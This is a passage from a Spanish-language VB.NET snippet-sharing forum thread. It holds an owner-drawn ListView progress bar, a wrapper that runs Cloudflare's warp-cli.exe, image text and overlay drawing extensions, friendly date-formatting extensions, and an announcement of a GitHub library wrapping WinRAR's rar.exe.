  9.         Dim subItem As New ListViewProgressBarSubItem(item) With {
  10.             .DecimalPlaces = 2,
  11.             .TextSuffix = Nothing,
  12.             .BorderColor = Color.Empty,
  13.             .BackColor = Color.Empty,
  14.             .ForeColor = Color.Red,
  15.             .FillGradientColorLeft = SystemColors.Highlight,
  16.             .FillGradientColorRight = SystemColors.Highlight,
  17.             .FillGradientAngle = 0
  18.         }
  19.  
  20.         item.SubItems.Add(subItem)
  21.         lv.Items.Add(item)
  22.     End Sub
  23.  
  24. End Class
  25.  
  26. Public Class CustomListView : Inherits ListView
  27.  
  28.     Public Sub New()
  29.  
  30.         MyBase.New()
  31.  
  32.         Me.DoubleBuffered = True
  33.         Me.OwnerDraw = True
  34.     End Sub
  35.  
  36.     Protected Overrides Sub OnDrawColumnHeader(e As DrawListViewColumnHeaderEventArgs)
  37.  
  38.         e.DrawDefault = True
  39.         MyBase.OnDrawColumnHeader(e)
  40.     End Sub
  41.  
  42.     Protected Overrides Sub OnDrawItem(e As DrawListViewItemEventArgs)
  43.  
  44.         e.DrawDefault = False
  45.         MyBase.OnDrawItem(e)
  46.     End Sub
  47.  
  48.     Protected Overrides Sub OnDrawSubItem(e As DrawListViewSubItemEventArgs)
  49.  
  50.         Dim selfDrawableSubItem As ISelfDrawableListViewSubItem = TryCast(e.SubItem, ISelfDrawableListViewSubItem)
  51.         If selfDrawableSubItem IsNot Nothing Then
  52.             selfDrawableSubItem.Draw(e.Graphics, e.Bounds)
  53.         Else
  54.             e.DrawDefault = True
  55.         End If
  56.  
  57.         MyBase.OnDrawSubItem(e)
  58.     End Sub
  59.  
  60. End Class


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 30 Mayo 2025, 01:15 am
Cómo iniciar el programa warp-cli.exe de la VPN de Cloudflare Warp pasándole un comando

Un simple método para ejecutar el programa warp-cli.exe de la VPN de Cloudflare Warp pasándole un comando (ej. "connect", "disconnect", etc):

Código
  1. ''' <summary>
  2. ''' Sends a custom command to the Cloudflare Warp CLI executable (<c>warp-cli.exe</c>)
  3. ''' and captures both standard output and error output.
  4. ''' </summary>
  5. '''
  6. ''' <param name="command">
  7. ''' The command-line argument to be passed to warp-cli executable.
  8. ''' For example: <c>connect</c>, <c>disconnect</c>, <c>status</c>, etc.
  9. ''' </param>
  10. '''
  11. ''' <param name="refOutput">
  12. ''' Returns the standard output returned by the warp-cli process.
  13. ''' </param>
  14. '''
  15. ''' <param name="refErrorOutput">
  16. ''' Returns the standard error output returned by the warp-cli process.
  17. ''' </param>
  18. '''
  19. ''' <param name="warpCliFilePath">
  20. ''' Optional path to the warp-cli executable. If <c>Nothing</c> is specified, the method defaults to:
  21. ''' <c>%ProgramFiles%\Cloudflare\Cloudflare Warp\warp-cli.exe</c>.
  22. ''' </param>
  23. '''
  24. ''' <returns>
  25. ''' The exit code returned by the warp-cli process. A value of 0 typically indicates success.
  26. ''' </returns>
  27. '''
  28. ''' <exception cref="System.IO.FileNotFoundException">
  29. ''' Thrown if the specified or default warp-cli executable file is not found on the system.
  30. ''' </exception>
  31. '''
  32. ''' <exception cref="System.TimeoutException">
  33. ''' Thrown if the warp-cli process takes longer than 60 seconds to complete.
  34. ''' </exception>
  35. '''
  36. ''' <exception cref="System.Exception">
  37. ''' Thrown if any other unexpected error occurs while attempting to execute the warp-cli process.
  38. ''' The original exception is wrapped as the inner exception.
  39. ''' </exception>
  40. <DebuggerStepThrough>
  41. Public Shared Function CloudflareWarpCliSendCommand(command As String,
  42.                                                    ByRef refOutput As String,
  43.                                                    ByRef refErrorOutput As String,
  44.                                                    Optional warpCliFilePath As String = Nothing) As Integer
  45.  
  46.    ' Prevents concurrent execution of the method from multiple threads within the same process.
  47.    ' This static lock object ensures that only one thread can execute the critical section at a time,
  48.    ' avoiding race conditions or conflicts when invoking the Warp CLI.
  49.    Static WarpCliLock As New Object()
  50.  
  51.    Static spaceChar As Char = " "c
  52.  
  53.    SyncLock WarpCliLock
  54.        If String.IsNullOrEmpty(warpCliFilePath) Then
  55.            warpCliFilePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles),
  56.                                           "Cloudflare\Cloudflare Warp\warp-cli.exe")
  57.        End If
  58.  
  59.        Try
  60.            If Not System.IO.File.Exists(warpCliFilePath) Then
  61.                Throw New System.IO.FileNotFoundException("The Warp CLI executable was not found.", warpCliFilePath)
  62.            End If
  63.  
  64.            Using pr As New Process()
  65.                pr.StartInfo.FileName = warpCliFilePath
  66.                pr.StartInfo.Arguments = command
  67.                pr.StartInfo.UseShellExecute = False
  68.                pr.StartInfo.CreateNoWindow = True
  69.                pr.StartInfo.RedirectStandardOutput = True
  70.                pr.StartInfo.RedirectStandardError = True
  71.  
  72.                pr.Start()
  73.                If Not pr.WaitForExit(60000) Then ' Waits a maximum of 60 seconds
  74.                    pr.Kill()
  75.                    Throw New TimeoutException("warp-cli process has timed out.")
  76.                End If
  77.  
  78.                refOutput = pr.StandardOutput.ReadToEnd().Trim(Environment.NewLine.ToCharArray().Concat({spaceChar}).ToArray())
  79.                refErrorOutput = pr.StandardError.ReadToEnd().Trim(Environment.NewLine.ToCharArray().Concat({spaceChar}).ToArray())
  80.  
  81.                Return pr.ExitCode
  82.            End Using
  83.  
  84.        Catch ex As Exception
  85.            Throw New Exception($"Failed to execute warp-cli process. See inner exception for details.", ex)
  86.        End Try
  87.    End SyncLock
  88. End Function

Casos de uso reales: para conectar a la red de Cloudflare WARP en cualquier proyecto donde hagamos solicitudes http, por ejemplo en un web-crawler, a sitios web con riesgo de que puedan acabar bloqueando nuestra IP.



Tres métodos de extensión para dibujar texto sobre una imagen, o dibujar encima otra imagen (con capacidad opcional de usar transparencia) o un valor numérico, con una escala proporcional a la imagen y en una posición alineada a cualquiera de las esquinas o zonas centrales de la imagen (centro absoluto, parte superior central o parte inferior central) de la imagen.

Demostración de resultado de la extensión que dibuja un valor numérico (de forma alineada a la esquina inferior derecha de la imagen):

(http://i.imgur.com/Eb5CLqJl.gif) (https://i.imgur.com/Eb5CLqJ.gif)

Código
  1. ''' <summary>
  2. ''' Draws an overlay image onto the specified <see cref="Image"/> at a given position and scale factor.
  3. ''' </summary>
  4. '''
  5. ''' <param name="refImg">
  6. ''' The source <see cref="Image"/> to modify. The overlay image will be drawn directly on this image.
  7. ''' </param>
  8. '''
  9. ''' <param name="overlayImg">
  10. ''' The overlay image to draw on the source <paramref name="refImg"/>.
  11. ''' </param>
  12. '''
  13. ''' <param name="scale">
  14. ''' The relative image scale factor to determine overlay image size. Lower values increase the size of the overlay image.
  15. ''' </param>
  16. '''
  17. ''' <param name="position">
  18. ''' The position/alignment where the overlay image should be drawn (e.g., bottom-right).
  19. ''' </param>
  20. '''
  21. ''' <param name="margin">
  22. ''' The margin (in pixels) from the edge of the image to position the overlay image.
  23. ''' <para></para>
  24. ''' This value has different meaning depending on <paramref name="position"/> parameter:
  25. ''' <para></para>
  26. ''' <list type="bullet">
  27. '''   <item>
  28. '''     <term>
  29. '''       <see cref="ContentAlignment.TopLeft"/>, <see cref="ContentAlignment.TopRight"/>,
  30. '''       <para></para>
  31. '''       <see cref="ContentAlignment.BottomLeft"/> and <see cref="ContentAlignment.BottomRight"/>
  32. '''     </term>
  33. '''     <description><para></para><paramref name="margin"/> specifies the diagonal offset.</description>
  34. '''   </item>
  35. '''   <item>
  36. '''     <term>
  37. '''       <see cref="ContentAlignment.MiddleLeft"/> and <see cref="ContentAlignment.MiddleRight"/>
  38. '''     </term>
  39. '''     <description><para></para><paramref name="margin"/> specifies the horizontal offset.</description>
  40. '''   </item>
  41. '''   <item>
  42. '''     <term>
  43. '''       <see cref="ContentAlignment.TopCenter"/> and <see cref="ContentAlignment.BottomCenter"/>
  44. '''     </term>
  45. '''     <description><para></para><paramref name="margin"/> specifies the vertical offset.</description>
  46. '''   </item>
  47. '''   <item>
  48. '''     <term>
  49. '''       <see cref="ContentAlignment.MiddleCenter"/>
  50. '''     </term>
  51. '''     <description><para></para><paramref name="margin"/> is ignored.</description>
  52. '''   </item>
  53. ''' </list>
  54. ''' </param>
  55. '''
  56. ''' <param name="transparentColor">
  57. ''' Optional. A <see cref="Color"/> to use as transparency to draw the overlay image.
  58. ''' </param>
  59. <DebuggerStepThrough>
  60. <Extension>
  61. <EditorBrowsable(EditorBrowsableState.Always)>
  62. Public Sub DrawImageScaled(ByRef refImg As Image, overlayImg As Image,
  63.                       scale As Single, position As ContentAlignment, margin As Single,
  64.                       Optional transparentColor As Color? = Nothing)
  65.  
  66.    If refImg Is Nothing Then
  67.        Throw New ArgumentNullException(NameOf(refImg))
  68.    End If
  69.  
  70.    If overlayImg Is Nothing Then
  71.        Throw New ArgumentNullException(NameOf(overlayImg))
  72.    End If
  73.  
  74.    If margin < 0 Then
  75.        Throw New ArgumentOutOfRangeException(NameOf(margin), margin, "Margin must be greater than or equal to 0.")
  76.    End If
  77.  
  78.    If scale < 1 Then
  79.        Throw New ArgumentOutOfRangeException(NameOf(scale), scale, "Font scale must be greater than or equal to 1.")
  80.    End If
  81.  
  82.    Using g As Graphics = Graphics.FromImage(refImg)
  83.        g.SmoothingMode = SmoothingMode.AntiAlias
  84.        g.InterpolationMode = InterpolationMode.HighQualityBicubic
  85.        g.PixelOffsetMode = PixelOffsetMode.HighQuality
  86.        g.CompositingQuality = CompositingQuality.HighQuality
  87.  
  88.        Dim targetSize As Single = Math.Max(refImg.Width, refImg.Height) / scale
  89.        Dim aspectRatio As Single = CSng(overlayImg.Width / overlayImg.Height)
  90.  
  91.        Dim drawWidth As Single
  92.        Dim drawHeight As Single
  93.  
  94.        If overlayImg.Width >= overlayImg.Height Then
  95.            drawWidth = targetSize
  96.            drawHeight = targetSize / aspectRatio
  97.        Else
  98.            drawHeight = targetSize
  99.            drawWidth = targetSize * aspectRatio
  100.        End If
  101.  
  102.        Dim posX As Single = 0
  103.        Dim posY As Single = 0
  104.  
  105.        Select Case position
  106.            Case ContentAlignment.TopLeft
  107.                posX = margin
  108.                posY = margin
  109.  
  110.            Case ContentAlignment.TopCenter
  111.                posX = (refImg.Width - drawWidth) / 2
  112.                posY = margin
  113.  
  114.            Case ContentAlignment.TopRight
  115.                posX = refImg.Width - drawWidth - margin
  116.                posY = margin
  117.  
  118.            Case ContentAlignment.MiddleLeft
  119.                posX = margin
  120.                posY = (refImg.Height - drawHeight) / 2
  121.  
  122.            Case ContentAlignment.MiddleCenter
  123.                posX = (refImg.Width - drawWidth) / 2
  124.                posY = (refImg.Height - drawHeight) / 2
  125.  
  126.            Case ContentAlignment.MiddleRight
  127.                posX = refImg.Width - drawWidth - margin
  128.                posY = (refImg.Height - drawHeight) / 2
  129.  
  130.            Case ContentAlignment.BottomLeft
  131.                posX = margin
  132.                posY = refImg.Height - drawHeight - margin
  133.  
  134.            Case ContentAlignment.BottomCenter
  135.                posX = (refImg.Width - drawWidth) / 2
  136.                posY = refImg.Height - drawHeight - margin
  137.  
  138.            Case ContentAlignment.BottomRight
  139.                posX = refImg.Width - drawWidth - margin
  140.                posY = refImg.Height - drawHeight - margin
  141.  
  142.            Case Else
  143.                Throw New InvalidEnumArgumentException(NameOf(position), position, GetType(ContentAlignment))
  144.        End Select
  145.  
  146.        If transparentColor.HasValue Then
  147.            Using attr As New Imaging.ImageAttributes()
  148.                attr.SetColorKey(transparentColor.Value, transparentColor.Value)
  149.  
  150.                Dim destRect As New Rectangle(CInt(posX), CInt(posY), CInt(drawWidth), CInt(drawHeight))
  151.                g.DrawImage(overlayImg, destRect, 0, 0, overlayImg.Width, overlayImg.Height, GraphicsUnit.Pixel, attr)
  152.            End Using
  153.        Else
  154.            g.DrawImage(overlayImg, posX, posY, drawWidth, drawHeight)
  155.        End If
  156.    End Using
  157. End Sub
  158.  
  159. ''' <summary>
  160. ''' Draws text onto the specified <see cref="Image"/> at a given position and scale factor.
  161. ''' </summary>
  162. '''
  163. ''' <param name="refImg">
  164. ''' The <see cref="Image"/> to modify. The text will be drawn directly on this image.
  165. ''' </param>
  166. '''
  167. ''' <param name="text">
  168. ''' The text to draw on the image.
  169. ''' </param>
  170. '''
  171. ''' <param name="scale">
  172. ''' The relative image scale factor to determine font size. Lower values increase the size of the text.
  173. ''' <para></para>
  174. ''' Suggested value is from 10 to 20.
  175. ''' </param>
  176. '''
  177. ''' <param name="position">
  178. ''' The position/alignment where the text should be drawn (e.g., bottom-right).
  179. ''' </param>
  180. '''
  181. ''' <param name="margin">
  182. ''' The margin (in pixels) from the edge of the image to position the text.
  183. ''' <para></para>
  184. ''' This value has different meaning depending on <paramref name="position"/> parameter:
  185. ''' <para></para>
  186. ''' <list type="bullet">
  187. '''   <item>
  188. '''     <term>
  189. '''       <see cref="ContentAlignment.TopLeft"/>, <see cref="ContentAlignment.TopRight"/>,
  190. '''       <para></para>
  191. '''       <see cref="ContentAlignment.BottomLeft"/> and <see cref="ContentAlignment.BottomRight"/>
  192. '''     </term>
  193. '''     <description><para></para><paramref name="margin"/> specifies the diagonal offset.</description>
  194. '''   </item>
  195. '''   <item>
  196. '''     <term>
  197. '''       <see cref="ContentAlignment.MiddleLeft"/> and <see cref="ContentAlignment.MiddleRight"/>
  198. '''     </term>
  199. '''     <description><para></para><paramref name="margin"/> specifies the horizontal offset.</description>
  200. '''   </item>
  201. '''   <item>
  202. '''     <term>
  203. '''       <see cref="ContentAlignment.TopCenter"/> and <see cref="ContentAlignment.BottomCenter"/>
  204. '''     </term>
  205. '''     <description><para></para><paramref name="margin"/> specifies the vertical offset.</description>
  206. '''   </item>
  207. '''   <item>
  208. '''     <term>
  209. '''       <see cref="ContentAlignment.MiddleCenter"/>
  210. '''     </term>
  211. '''     <description><para></para><paramref name="margin"/> is ignored.</description>
  212. '''   </item>
  213. ''' </list>
  214. ''' </param>
  215. '''
  216. ''' <param name="font">
  217. ''' Optional. A custom <see cref="Font"/> to use. If not provided, a bold <c>Arial</c> font is used.
  218. ''' <para></para>
  219. ''' Note: Custom font size (<see cref="System.Drawing.Font.Size"/>) is ignored. It is determined by <paramref name="scale"/> parameter.
  220. ''' </param>
  221. '''
  222. ''' <param name="textColor">
  223. ''' Optional. The color of the text.
  224. ''' <para></para>
  225. ''' Default value is <see cref="Color.White"/>.
  226. ''' </param>
  227. '''
  228. ''' <param name="outlineColor">
  229. ''' Optional. The color of the text outline.
  230. ''' <para></para>
  231. ''' Default value is <see cref="Color.Black"/>.
  232. ''' </param>
  233. '''
  234. ''' <param name="outlineThickness">
  235. ''' Optional. The thickness of the outline, in pixels.
  236. ''' <para></para>
  237. ''' Default value is 2 pixels.
  238. ''' </param>
  239. <DebuggerStepThrough>
  240. <Extension>
  241. <EditorBrowsable(EditorBrowsableState.Always)>
  242. Public Sub DrawTextScaled(ByRef refImg As Image, text As String, scale As Single,
  243.                      position As ContentAlignment, margin As Single,
  244.                      Optional font As Font = Nothing,
  245.                      Optional textColor As Color = Nothing,
  246.                      Optional outlineColor As Color = Nothing,
  247.                      Optional outlineThickness As Short = 2)
  248.  
  249.    If margin < 0 Then
  250.        Throw New ArgumentOutOfRangeException(NameOf(margin), margin, "Margin must be greater than or equal to 0.")
  251.    End If
  252.  
  253.    If scale < 1 Then
  254.        Throw New ArgumentOutOfRangeException(NameOf(scale), scale, "Font scale must be greater than or equal to 1.")
  255.    End If
  256.  
  257.    If textColor = Nothing Then
  258.        textColor = Color.White
  259.    End If
  260.  
  261.    If outlineColor = Nothing Then
  262.        outlineColor = Color.Black
  263.    End If
  264.  
  265.    Using g As Graphics = Graphics.FromImage(refImg)
  266.        g.SmoothingMode = SmoothingMode.AntiAlias
  267.        g.TextRenderingHint = TextRenderingHint.AntiAliasGridFit
  268.        g.InterpolationMode = InterpolationMode.HighQualityBicubic
  269.        g.PixelOffsetMode = PixelOffsetMode.HighQuality
  270.        g.CompositingQuality = CompositingQuality.HighQuality
  271.  
  272.        Dim rawFontSize As Single = Math.Max(refImg.Width, refImg.Height) / scale
  273.        Dim maxAllowedFontSize As Single = Math.Min(refImg.Width, refImg.Height)
  274.        Dim fontSize As Single = Math.Min(rawFontSize, maxAllowedFontSize)
  275.  
  276.        Using textFont As Font =
  277.        If(font IsNot Nothing, New Font(font.FontFamily, fontSize, font.Style, GraphicsUnit.Pixel, font.GdiCharSet, font.GdiVerticalFont),
  278.                               New Font("Arial", fontSize, FontStyle.Bold, GraphicsUnit.Pixel))
  279.  
  280.            Dim textSize As SizeF = g.MeasureString(text, textFont)
  281.            Dim posX As Single = 0
  282.            Dim posY As Single = 0
  283.  
  284.            Select Case position
  285.                Case ContentAlignment.TopLeft
  286.                    posX = margin
  287.                    posY = margin
  288.  
  289.                Case ContentAlignment.TopCenter
  290.                    posX = (refImg.Width - textSize.Width) / 2
  291.                    posY = margin
  292.  
  293.                Case ContentAlignment.TopRight
  294.                    posX = refImg.Width - textSize.Width - margin
  295.                    posY = margin
  296.  
  297.                Case ContentAlignment.MiddleLeft
  298.                    posX = margin
  299.                    posY = (refImg.Height - textSize.Height) / 2
  300.  
  301.                Case ContentAlignment.MiddleCenter
  302.                    posX = (refImg.Width - textSize.Width) / 2
  303.                    posY = (refImg.Height - textSize.Height) / 2
  304.  
  305.                Case ContentAlignment.MiddleRight
  306.                    posX = refImg.Width - textSize.Width - margin
  307.                    posY = (refImg.Height - textSize.Height) / 2
  308.  
  309.                Case ContentAlignment.BottomLeft
  310.                    posX = margin
  311.                    posY = refImg.Height - textSize.Height - margin
  312.  
  313.                Case ContentAlignment.BottomCenter
  314.                    posX = (refImg.Width - textSize.Width) / 2
  315.                    posY = refImg.Height - textSize.Height - margin
  316.  
  317.                Case ContentAlignment.BottomRight
  318.                    posX = refImg.Width - textSize.Width - margin
  319.                    posY = refImg.Height - textSize.Height - margin
  320.  
  321.                Case Else
  322.                    Throw New InvalidEnumArgumentException(NameOf(position), position, GetType(ContentAlignment))
  323.            End Select
  324.  
  325.            Using outlineBrush As New SolidBrush(outlineColor)
  326.  
  327.                For dx As Short = -outlineThickness To outlineThickness
  328.                    For dy As Short = -outlineThickness To outlineThickness
  329.                        If dx <> 0 OrElse dy <> 0 Then
  330.                            g.DrawString(text, textFont, outlineBrush, posX + dx, posY + dy)
  331.                        End If
  332.                    Next dy
  333.                Next dx
  334.            End Using
  335.  
  336.            Using textBrush As New SolidBrush(textColor)
  337.                g.DrawString(text, textFont, textBrush, posX, posY)
  338.            End Using
  339.        End Using ' font
  340.    End Using ' g
  341. End Sub
  342.  
  343. ''' <summary>
  344. ''' Draws a number onto the specified <see cref="Image"/> at a given position and scale factor.
  345. ''' </summary>
  346. '''
  347. ''' <param name="refImg">
  348. ''' The <see cref="Image"/> to modify. The number will be drawn directly on this image.
  349. ''' </param>
  350. '''
  351. ''' <param name="number">
  352. ''' The number to draw on the image.
  353. ''' </param>
  354. '''
  355. ''' <param name="scale">
  356. ''' The relative image scale factor to determine font size. Lower values increase the size of the text.
  357. ''' <para></para>
  358. ''' Suggested value is from 10 to 20.
  359. ''' </param>
  360. '''
  361. ''' <param name="position">
  362. ''' The position/alignment where the number should be drawn (e.g., bottom-right).
  363. ''' </param>
  364. '''
  365. ''' <param name="margin">
  366. ''' The margin (in pixels) from the edge of the image to position the text.
  367. ''' <para></para>
  368. ''' This value has different meaning depending on <paramref name="position"/> parameter:
  369. ''' <para></para>
  370. ''' <list type="bullet">
  371. '''   <item>
  372. '''     <term>
  373. '''       <see cref="ContentAlignment.TopLeft"/>, <see cref="ContentAlignment.TopRight"/>,
  374. '''       <para></para>
  375. '''       <see cref="ContentAlignment.BottomLeft"/> and <see cref="ContentAlignment.BottomRight"/>
  376. '''     </term>
  377. '''     <description><para></para><paramref name="margin"/> specifies the diagonal offset.</description>
  378. '''   </item>
  379. '''   <item>
  380. '''     <term>
  381. '''       <see cref="ContentAlignment.MiddleLeft"/> and <see cref="ContentAlignment.MiddleRight"/>
  382. '''     </term>
  383. '''     <description><para></para><paramref name="margin"/> specifies the horizontal offset.</description>
  384. '''   </item>
  385. '''   <item>
  386. '''     <term>
  387. '''       <see cref="ContentAlignment.TopCenter"/> and <see cref="ContentAlignment.BottomCenter"/>
  388. '''     </term>
  389. '''     <description><para></para><paramref name="margin"/> specifies the vertical offset.</description>
  390. '''   </item>
  391. '''   <item>
  392. '''     <term>
  393. '''       <see cref="ContentAlignment.MiddleCenter"/>
  394. '''     </term>
  395. '''     <description><para></para><paramref name="margin"/> is ignored.</description>
  396. '''   </item>
  397. ''' </list>
  398. ''' </param>
  399. '''
  400. ''' <param name="font">
  401. ''' Optional. A custom <see cref="Font"/> to use. If not provided, a bold <c>Arial</c> font is used.
  402. ''' <para></para>
  403. ''' Note: Custom font size (<see cref="System.Drawing.Font.Size"/>) is ignored. It is determined by <paramref name="scale"/> parameter.
  404. ''' </param>
  405. '''
  406. ''' <param name="textColor">
  407. ''' Optional. The color of the text.
  408. ''' <para></para>
  409. ''' Default value is <see cref="Color.White"/>.
  410. ''' </param>
  411. '''
  412. ''' <param name="outlineColor">
  413. ''' Optional. The color of the text outline.
  414. ''' <para></para>
  415. ''' Default value is <see cref="Color.Black"/>.
  416. ''' </param>
  417. '''
  418. ''' <param name="outlineThickness">
  419. ''' Optional. The thickness of the outline, in pixels.
  420. ''' <para></para>
  421. ''' Default value is 2 pixels.
  422. ''' </param>
  423. <DebuggerStepThrough>
  424. <Extension>
  425. <EditorBrowsable(EditorBrowsableState.Always)>
  426. Public Sub DrawNumberScaled(ByRef refImg As Image, number As Integer, scale As Single,
  427.                        position As ContentAlignment, margin As Single,
  428.                        Optional font As Font = Nothing,
  429.                        Optional textColor As Color = Nothing,
  430.                        Optional outlineColor As Color = Nothing,
  431.                        Optional outlineThickness As Short = 2)
  432.  
  433.    DrawTextScaled(refImg, CStr(number), scale, position, margin, font, textColor, outlineColor, outlineThickness)
  434. End Sub
  435.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 30 Mayo 2025, 01:41 am
Cuatro métodos de extensión para el tipo DateTime con los que obtener una representación de fecha o fecha y hora realmente amistosa.

Ejemplos:

  Fecha en inglés: 11 May, 2025
  Fecha en español: 11 de mayo de 2025
  Fecha en alemán: 11. Mai 2025

  Fecha y hora en inglés: 11 May, 2025 at 23:59:59
  Fecha y hora en español: 11 de mayo de 2025 a las 23:59:59

No soy experto en la representación por escrito de fechas en otros idiomas así que solo intenté perfeccionar estos tres. La representación en alemán estaría bien según me he informado, ya que se supone que se añade un punto de esa forma. En definitiva, creo que para ir tirando está bien así.

Código
  1. ''' <summary>
  2. ''' Converts a <see cref="Date"/> object to a long friendly date string based on the current culture.
  3. ''' <para></para>
  4. ''' For example:
  5. ''' <list type="bullet">
  6. '''   <item><description>English<para></para>11 May, 2025</description></item>
  7. '''   <item><description>Spanish<para></para>11 de mayo de 2025</description></item>
  8. '''   <item><description>German<para></para>11. Mai 2025</description></item>
  9. ''' </list>
  10. ''' </summary>
  11. '''
  12. ''' <param name="[date]">
  13. ''' The <see cref="Date"/> object to be formatted.
  14. ''' </param>
  15. '''
  16. ''' <returns>
  17. ''' A string representing the formatted date, based on the current culture.
  18. ''' </returns>
  19. <DebuggerStepThrough>
  20. <Extension>
  21. <EditorBrowsable(EditorBrowsableState.Always)>
  22. Public Function ToLongFriendlyDateString([date] As Date) As String
  23.  
  24.    Return DateExtensions.ToLongFriendlyDateString([date], CultureInfo.CurrentCulture)
  25. End Function
  26.  
  27. ''' <summary>
  28. ''' Converts a <see cref="Date"/> object to a long friendly date string based on the specified culture.
  29. ''' <para></para>
  30. ''' For example:
  31. ''' <list type="bullet">
  32. '''   <item><description>English<para></para>11 May, 2025</description></item>
  33. '''   <item><description>Spanish<para></para>11 de mayo de 2025</description></item>
  34. '''   <item><description>German<para></para>11. Mai 2025</description></item>
  35. ''' </list>
  36. ''' </summary>
  37. '''
  38. ''' <param name="[date]">
  39. ''' The <see cref="Date"/> object to be formatted.
  40. ''' </param>
  41. '''
  42. ''' <param name="provider">
  43. ''' The culture information used to format the date.
  44. ''' </param>
  45. '''
  46. ''' <returns>
  47. ''' A string representing the formatted date, based on the specified culture.
  48. ''' </returns>
  49. <DebuggerStepThrough>
  50. <Extension>
  51. <EditorBrowsable(EditorBrowsableState.Always)>
  52. Public Function ToLongFriendlyDateString([date] As Date, provider As IFormatProvider) As String
  53.  
  54.    Dim culture As CultureInfo = TryCast(provider, CultureInfo)
  55.    If culture IsNot Nothing Then
  56.  
  57.        Select Case culture.TwoLetterISOLanguageName.ToLower()
  58.            Case "es", "ca", "gl", "pt" ' Spanish, Catalonian, Galego, Portuguese
  59.                Return [date].ToString("dd 'de' MMMM 'de' yyyy", provider)
  60.  
  61.            Case "de" ' Deutsch
  62.                Return [date].ToString("dd'.' MMMM yyyy", provider)
  63.  
  64.            Case Else ' Do nothing.
  65.                Exit Select
  66.        End Select
  67.    End If
  68.  
  69.    Return [date].ToString("dd MMMM, yyyy", provider)
  70. End Function
  71.  
  72. ''' <summary>
  73. ''' Converts a <see cref="Date"/> object to a long friendly date string based on the current culture.
  74. ''' <para></para>
  75. ''' For example:
  76. ''' <list type="bullet">
  77. '''   <item><description>English<para></para>11 May, 2025 at 23:59:59</description></item>
  78. '''   <item><description>Spanish<para></para>11 de mayo de 2025 a las 23:59:59</description></item>
  79. ''' </list>
  80. ''' </summary>
  81. '''
  82. ''' <param name="[date]">
  83. ''' The <see cref="Date"/> object to be formatted.
  84. ''' </param>
  85. '''
  86. ''' <returns>
  87. ''' A string representing the formatted date, based on the current culture.
  88. ''' </returns>
  89. <DebuggerStepThrough>
  90. <Extension>
  91. <EditorBrowsable(EditorBrowsableState.Always)>
  92. Public Function ToLongFriendlyDateAndTimeString([date] As Date) As String
  93.  
  94.    Return DateExtensions.ToLongFriendlyDateAndTimeString([date], CultureInfo.CurrentCulture)
  95. End Function
  96.  
  97. ''' <summary>
  98. ''' Converts a <see cref="Date"/> object to a long friendly date string based on the specifies culture.
  99. ''' <para></para>
  100. ''' For example:
  101. ''' <list type="bullet">
  102. '''   <item><description>English<para></para>11 May, 2025 at 23:59:59</description></item>
  103. '''   <item><description>Spanish<para></para>11 de mayo de 2025 a las 23:59:59</description></item>
  104. ''' </list>
  105. ''' </summary>
  106. '''
  107. ''' <param name="[date]">
  108. ''' The <see cref="Date"/> object to be formatted.
  109. ''' </param>
  110. '''
  111. ''' <param name="provider">
  112. ''' The culture information used to format the date.
  113. ''' </param>
  114. '''
  115. ''' <returns>
  116. ''' A string representing the formatted date, based on the specified culture.
  117. ''' </returns>
  118. <DebuggerStepThrough>
  119. <Extension>
  120. <EditorBrowsable(EditorBrowsableState.Always)>
  121. Public Function ToLongFriendlyDateAndTimeString([date] As Date, provider As IFormatProvider) As String
  122.  
  123.    Dim culture As CultureInfo = TryCast(provider, CultureInfo)
  124.    If culture IsNot Nothing Then
  125.  
  126.        Select Case culture.TwoLetterISOLanguageName.ToLower()
  127.            Case "en" ' English
  128.                Return [date].ToString($"'{ToLongFriendlyDateString([date], provider)}' 'at' HH:mm:ss", provider)
  129.  
  130.            Case "es" ' Spanish
  131.                Return [date].ToString($"'{ToLongFriendlyDateString([date], provider)}' 'a las' HH:mm:ss", provider)
  132.  
  133.            Case Else ' Do nothing.
  134.                Exit Select
  135.        End Select
  136.    End If
  137.  
  138.    Return [date].ToString($"'{ToLongFriendlyDateString([date], provider)}' '—' HH:mm:ss", provider)
  139. End Function


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 30 Mayo 2025, 18:11 pm
Librería .NET para automatizar el uso de rar.exe de RARLab (WinRAR)

Esto es un wrapper .NET completo para la herramienta por línea de comandos rar.exe oficial de RARLab. Esta librería permite a los desarrolladores de .NET acceder y controlar fácilmente casi todas las funciones de rar.exe, como comprimir, extraer, listar, testar, crear volúmenes de recuperación y administrar archivos RAR, desde sus aplicaciones.

Llevaba mucho tiempo queriendo hacer esto, bastantes años hace que se me ocurrió la idea por que hay infinidad de librerías disponibles en la mayoría de lenguajes de programación para manejar formatos ZIP y 7Zip entre otros muchos, pero para el formato RAR, en especial el formato RARv5 son muy escasas... probablemente por desinterés y/o por ser un formato privativo. Lo cierto es que no conozco ningún otro wrapper del executable rar.exe, ni tampoco un wrapper que en lugar de depender de rar.exe haga llamadas nativas a una librería oficial de RARLab.

El caso es que nunca empecé este proyecto por simple pereza. Me parecía muy interesante pero al mismo tiempo no me resultaba necesario en realidad desarrollar una infraestructura completa para configurar el lanzamiento del proceso de rar.exe pasándole un comando cualquiera, cosa que podía escribir en una sola línea como esta: Process.Start(".\rar.exe", "argumentos") — pero claro, esto es algo muy codificado en el código por así decirlo, no es tan bonito o elegante o profesional como configurar una sofisticada clase para construir los argumentos y controlar el lanzamiento del proceso con sus códigos de salida y demás.

Así que siempre lo estuve aplazando. Y cuando finalmente decidí empezar, hace cosa de unas semanas, esperaba poder compartirlo con ustedes en formato de "snippet" en este hilo, es decir algo de un tamaño reducido, pero fui demasiado ingenuo ya que al final el trabajo ha alcanzado la cantidad de 9 clases para representar diversos comandos, 17 enumeraciones y otras tantas clases para otros elementos integrados, haciendo un total de 37 archivos separados de código fuente.

Así que no me ha quedado más remedio que compartirlo en GitHub, y aquí lo comparto con ustedes:

  👉 📦 RARLab's rar.exe .NET Wrapper Library (https://github.com/ElektroStudios/RARLab-RAR-Wrapper-Library-for-NET)

Como he dicho, esto es una librería, un archivo dll para administrar el uso del archivo rar.exe. Es totalmente "universal", se puede usar en proyectos de VB.NET o de C#, bajo .NET Framework o NET 5.0+ (el proyecto habría que migrarlo), no hay dependencias más allá del archivo 'rar.exe' de WinRAR y la licencia del producto, que deben ser administrados por el usuario.



